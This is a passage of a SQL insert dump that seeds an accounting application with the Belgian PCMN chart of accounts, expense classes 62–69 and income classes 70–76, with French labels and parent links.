salariés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1153,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62321',1151,'Lois sociales pour indépendants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1154,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62322',1151,'Divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1155,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','624',1131,'Pensions de retraite et de survie',NULL,0,NULL,NULL,1,0,NULL,NULL),(1156,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6240',1155,'Administrateurs et gérants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1157,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6241',1155,'Personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1158,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','625',1131,'Provision pour pécule de vacances',NULL,0,NULL,NULL,1,0,NULL,NULL),(1159,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6250',1158,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1160,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6251',1158,'Utilisations et reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1161,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','63',1356,'Amortissements, réductions de valeur et provisions pour risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(1162,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','630',1161,'Dotations aux amortissements et aux réductions de valeur sur immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1163,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6300',1162,'Dotations aux amortissements sur frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(1164,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6301',1162,'Dotations aux amortissements sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1165,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6302',1162,'Dotations aux amortissements sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1166,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6308',1162,'Dotations aux réductions de valeur sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1167,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6309',1162,'Dotations aux réductions de valeur sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1168,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','631',1161,'Réductions de valeur sur stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(1169,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6310',1168,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1170,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6311',1168,'Reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1171,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','632',1161,'Réductions de valeur sur commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1172,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6320',1171,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1173,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6321',1171,'Reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1174,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','633',1161,'Réductions de valeur sur créances commerciales à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1175,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6330',1174,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1176,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6331',1174,'Reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1177,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','634',1161,'Réductions de valeur sur créances commerciales à un an au plus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1178,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6340',1177,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1179,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6341',1177,'Reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1180,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','635',1161,'Provisions pour pensions et obligations similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1181,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6350',1180,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1182,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6351',1180,'Utilisations et reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1183,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','636',11613,'Provisions pour grosses réparations et gros entretiens',NULL,0,NULL,NULL,1,0,NULL,NULL),(1184,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6360',1183,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1185,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6361',1183,'Utilisations et reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1186,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','637',1161,'Provisions pour autres risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(1187,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6370',1186,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1188,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6371',1186,'Utilisations et reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1189,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64',1356,'Autres charges d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1190,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','640',1189,'Charges fiscales d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1191,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6400',1190,'Taxes et impôts directs',NULL,0,NULL,NULL,1,0,NULL,NULL),(1192,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64000',1191,'Taxes sur autos et camions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1193,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6401',1190,'Taxes et impôts indirects',NULL,0,NULL,NULL,1,0,NULL,NULL),(1194,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64010',1193,'Timbres fiscaux pris en charge par la firme',NULL,0,NULL,NULL,1,0,NULL,NULL),(1195,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64011',1193,'Droits d\'enregistrement',NULL,0,NULL,NULL,1,0,NULL,NULL),(1196,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64012',1193,'T.V.A. non déductible',NULL,0,NULL,NULL,1,0,NULL,NULL),(1197,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6402',1190,'Impôts provinciaux et communaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1198,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64020',1197,'Taxe sur la force motrice',NULL,0,NULL,NULL,1,0,NULL,NULL),(1199,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64021',1197,'Taxe sur le personnel occupé',NULL,0,NULL,NULL,1,0,NULL,NULL),(1200,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6403',1190,'Taxes diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1201,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','641',1189,'Moins-values sur réalisations courantes d\'immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1202,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','642',1189,'Moins-values sur réalisations de créances commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1203,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','643',1189,'à 648 Charges d\'exploitations diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1204,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','649',1189,'Charges d\'exploitation portées à l\'actif au titre de restructuration',NULL,0,NULL,NULL,1,0,NULL,NULL),(1205,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','65',1356,'Charges financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1206,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','650',1205,'Charges des dettes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1207,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6500',1206,'Intérêts, commissions et frais afférents aux dettes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1208,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6501',1206,'Amortissements des agios et frais d\'émission d\'emprunts',NULL,0,NULL,NULL,1,0,NULL,NULL),(1209,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6502',1206,'Autres charges de dettes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1210,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6503',1206,'Intérêts intercalaires portés à l\'actif',NULL,0,NULL,NULL,1,0,NULL,NULL),(1211,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','651',1205,'Réductions de valeur sur actifs circulants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1212,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6510',1211,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1213,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6511',1211,'Reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1214,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','652',1205,'Moins-values sur réalisation d\'actifs circulants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1215,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','653',1205,'Charges d\'escompte de créances',NULL,0,NULL,NULL,1,0,NULL,NULL),(1216,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','654',1205,'Différences de change',NULL,0,NULL,NULL,1,0,NULL,NULL),(1217,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','655',1205,'Ecarts de conversion des devises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1218,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','656',1205,'Frais de banques, de chèques postaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1219,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','657',1205,'Commissions sur ouvertures de crédit, cautions et avals',NULL,0,NULL,NULL,1,0,NULL,NULL),(1220,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','658',1205,'Frais de vente des titres',NULL,0,NULL,NULL,1,0,NULL,NULL),(1221,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','66',1356,'Charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1222,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','660',1221,'Amortissements et réductions de valeur exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(1223,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6600',1222,'Sur frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(1224,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6601',1222,'Sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1225,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6602',1222,'Sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1226,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','661',1221,'Réductions de valeur sur immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1227,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','662',1221,'Provisions pour risques et charges exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(1228,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','663',1221,'Moins-values sur réalisation d\'actifs immobilisés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1229,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6630',1228,'Sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1230,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6631',1228,'Sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1231,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6632',1228,'Sur immobilisations détenues en location-financement et droits similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1232,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6633',1228,'Sur immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1233,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6634',1228,'Sur immeubles acquis ou construits en vue de la revente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1234,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','664',1221,'à 668 Autres charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1236,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','665',1221,'Différence de charge',NULL,0,NULL,NULL,1,0,NULL,NULL),(1237,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','669',1221,'Charges exceptionnelles transférées à l\'actif en frais de restructuration',NULL,0,NULL,NULL,1,0,NULL,NULL),(1238,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','67',1356,'Impôts sur le résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(1239,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','670',1238,'Impôts belges sur le résultat de l\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(1240,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6700',1239,'Impôts et précomptes dus ou versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1241,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6701',1239,'Excédent de versements d\'impôts et précomptes porté à l\'actif',NULL,0,NULL,NULL,1,0,NULL,NULL),(1242,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6702',1239,'Charges fiscales estimées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1243,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','671',1238,'Impôts belges sur le résultat d\'exercices antérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(1244,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6710',1243,'Suppléments d\'impôts dus ou versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1245,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6711',1243,'Suppléments d\'impôts estimés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1246,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6712',1243,'Provisions fiscales constituées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1247,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','672',1238,'Impôts étrangers sur le résultat de l\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(1248,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','673',1238,'Impôts étrangers sur le résultat d\'exercices antérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(1249,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','68',1356,'Transferts aux réserves immunisées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1250,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','69',1356,'Affectation des résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(1251,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','690',1250,'Perte reportée de l\'exercice précédent',NULL,0,NULL,NULL,1,0,NULL,NULL),(1252,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','691',1250,'Dotation à la réserve légale',NULL,0,NULL,NULL,1,0,NULL,NULL),(1253,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','692',1250,'Dotation aux autres réserves',NULL,0,NULL,NULL,1,0,NULL,NULL),(1254,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','693',1250,'Bénéfice à reporter',NULL,0,NULL,NULL,1,0,NULL,NULL),(1255,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','694',1250,'Rémunération du capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(1256,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','695',1250,'Administrateurs ou gérants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1257,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','696',1250,'Autres allocataires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1258,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','70',1357,'Chiffre d\'affaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1260,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','700',1258,'Ventes de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1261,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7000',1260,'Ventes en Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(1262,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7001',1260,'Ventes dans les pays membres de la C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(1263,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7002',1260,'Ventes à l\'exportation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1264,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','701',1258,'Ventes de produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(1265,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7010',1264,'Ventes en Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(1266,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7011',1264,'Ventes dans les pays membres de la C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(1267,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7012',1264,'Ventes à l\'exportation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1268,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','702',1258,'Ventes de déchets et rebuts',NULL,0,NULL,NULL,1,0,NULL,NULL),(1269,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7020',1268,'Ventes en Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(1270,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7021',1268,'Ventes dans les pays membres de la C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(1271,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7022',1268,'Ventes à l\'exportation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1272,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','703',1258,'Ventes d\'emballages récupérables',NULL,0,NULL,NULL,1,0,NULL,NULL),(1273,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','704',1258,'Facturations des travaux en cours (associations momentanées)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1274,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','705',1258,'Prestations de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(1275,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7050',1274,'Prestations de services en Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(1276,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7051',1274,'Prestations de services dans les pays membres de la C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(1277,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7052',1274,'Prestations de services en vue de l\'exportation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1278,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','706',1258,'Pénalités et dédits obtenus par l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(1279,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','708',1258,'Remises, ristournes et rabais accordés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1280,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7080',1279,'Sur ventes de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1281,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7081',1279,'Sur ventes de produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(1282,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7082',1279,'Sur ventes de déchets et rebuts',NULL,0,NULL,NULL,1,0,NULL,NULL),(1283,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7083',1279,'Sur prestations de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(1284,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7084',1279,'Mali sur travaux facturés aux associations momentanées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1285,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','71',1357,'Variation des stocks et des commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1286,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','712',1285,'Des en cours de fabrication',NULL,0,NULL,NULL,1,0,NULL,NULL),(1287,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','713',1285,'Des produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(1288,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','715',1285,'Des immeubles construits destinés à la vente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1289,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','717',1285,'Des commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1290,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7170',1289,'Commandes en cours - Coût de revient',NULL,0,NULL,NULL,1,0,NULL,NULL),(1291,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','71700',1290,'Coût des commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1292,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','71701',1290,'Coût des travaux en cours des associations momentanées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1293,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7171',1289,'Bénéfices portés en compte sur commandes en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(1294,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','71710',1293,'Sur commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1295,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','71711',1293,'Sur travaux en cours des associations momentanées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1296,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','72',1357,'Production immobilisée',NULL,0,NULL,NULL,1,0,NULL,NULL),(1297,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','720',1296,'En frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(1298,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','721',1296,'En immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1299,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','722',1296,'En immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1300,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','723',1296,'En immobilisations en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(1301,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','74',1357,'Autres produits d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1302,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','740',1301,'Subsides d\'exploitation et montants compensatoires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1303,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','741',1301,'Plus-values sur réalisations courantes d\'immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1304,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','742',1301,'Plus-values sur réalisations de créances commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1305,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','743',1301,'à 749 Produits d\'exploitation divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1307,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','744',1301,'Commissions et courtages',NULL,0,NULL,NULL,1,0,NULL,NULL),(1308,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','745',1301,'Redevances pour brevets et licences',NULL,0,NULL,NULL,1,0,NULL,NULL),(1309,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','746',1301,'Prestations de services (transports, études, etc)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1310,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','747',1301,'Revenus des immeubles affectés aux activités non professionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1311,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','748',1301,'Locations diverses à caractère professionnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1312,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','749',1301,'Produits divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1313,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7490',1312,'Bonis sur reprises d\'emballages consignés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1314,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7491',1312,'Bonis sur travaux en associations momentanées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1315,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','75',1357,'Produits financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1316,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','750',1315,'Produits des immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1317,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7500',1316,'Revenus des actions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1318,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7501',1316,'Revenus des obligations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1319,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7502',1316,'Revenus des créances à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1320,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','751',1315,'Produits des actifs circulants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1321,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','752',1315,'Plus-values sur réalisations d\'actifs circulants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1322,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','753',1315,'Subsides en capital et en intérêts',NULL,0,NULL,NULL,1,0,NULL,NULL),(1323,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','754',1315,'Différences de change',NULL,0,NULL,NULL,1,0,NULL,NULL),(1324,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','755',1315,'Ecarts de conversion des devises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1325,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','756',1315,'à 759 Produits financiers divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1327,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','757',1315,'Escomptes obtenus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1328,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','76',1357,'Produits exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(1329,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','760',1328,'Reprises d\'amortissements et de réductions de valeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(1330,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7600',1329,'Sur immobilisations 